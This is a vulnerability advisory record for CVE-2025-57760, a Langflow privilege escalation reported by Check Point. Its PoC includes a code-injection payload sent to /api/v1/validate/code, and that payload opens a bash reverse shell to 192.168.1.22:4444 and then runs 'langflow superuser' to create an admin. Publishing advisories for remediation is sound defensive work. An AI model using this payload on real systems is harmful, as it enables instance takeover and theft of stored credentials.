{"id":"CVE-2025-57760","aliases":["GHSA-4gv9-mp8m-592r","PYSEC-2025-243","PYSEC-2026-1526"],"url":"https://o3.security/vulnerability/CVE-2025-57760","summary":"Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation","details":"This vulnerability was discovered by researchers at **Check Point**. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.\n\n### Summary\nA privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command **langflow superuser** to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.\n\n### Details\nLangflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:\n\n`langflow superuser`\n\nThis command allows creation of a new superuser without checking whether one already exists. \n\nWhen combined with code execution (e.g., via the authenticated **/api/v1/validate/code** endpoint), a low-privileged user can execute:\n\n`/app/.venv/bin/langflow superuser`\n\ninside the container, and elevate themselves to full superuser privileges.\n\nThis effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.\n\n### PoC\n1. Start container with LANGFLOW_ENABLE_AUTH set to True.\n2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)\n\n\"image\"\n\n3. Exploit /api/v1/validate/code to get reverse shell\n\nSend an authenticated POST request:\n\n```\n{\n \"code\": \"def foo(p=__import__('os').system(\\\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\\\")):\\n pass\"\n}\n```\n\n4. Inside reverse shell, create superuser:\n\n\n\"image\"\n\n\n5. Log into UI as new superuser:\n\n\"image\"\n\n\n### Impact\n\n- Privilege escalation to superuser — complete takeover of the Langflow instance\n- Access to all user data, flows, stored credentials, and configuration\n- Credential leakage — attacker can extract third-party API keys \n- Exposure of environment variables (inside docker container)\n- Ability to run additional Langflow instances via `langflow run` inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.\n- Full user management — superuser can delete other users, reset their passwords","published":"2025-08-25T16:22:17.772Z","modified":"2026-08-12T03:51:13.883380461Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"langflow","fixedVersion":"1.5.1"},{"ecosystem":"PyPI","name":"langflow-base","fixedVersion":"0.5.1"}],"fix":{"url":"http://github.com/langflow-ai/langflow/pull/9152","label":"langflow-ai/langflow#9152"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57760.json"},{"type":"ADVISORY","url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-4gv9-mp8m-592r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57760"},{"type":"FIX","url":"http://github.com/langflow-ai/langflow/pull/9152"},{"type":"FIX","url":"https://github.com/langflow-ai/langflow/commit/c188ec113c9ca46154ad01d0eded1754cc6bef97"},{"type":"WEB","url":"https://github.com/langflow-ai/langflow/pull/9152"},{"type":"PACKAGE","url":"https://github.com/langflow-ai/langflow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:13.883380461Z"}}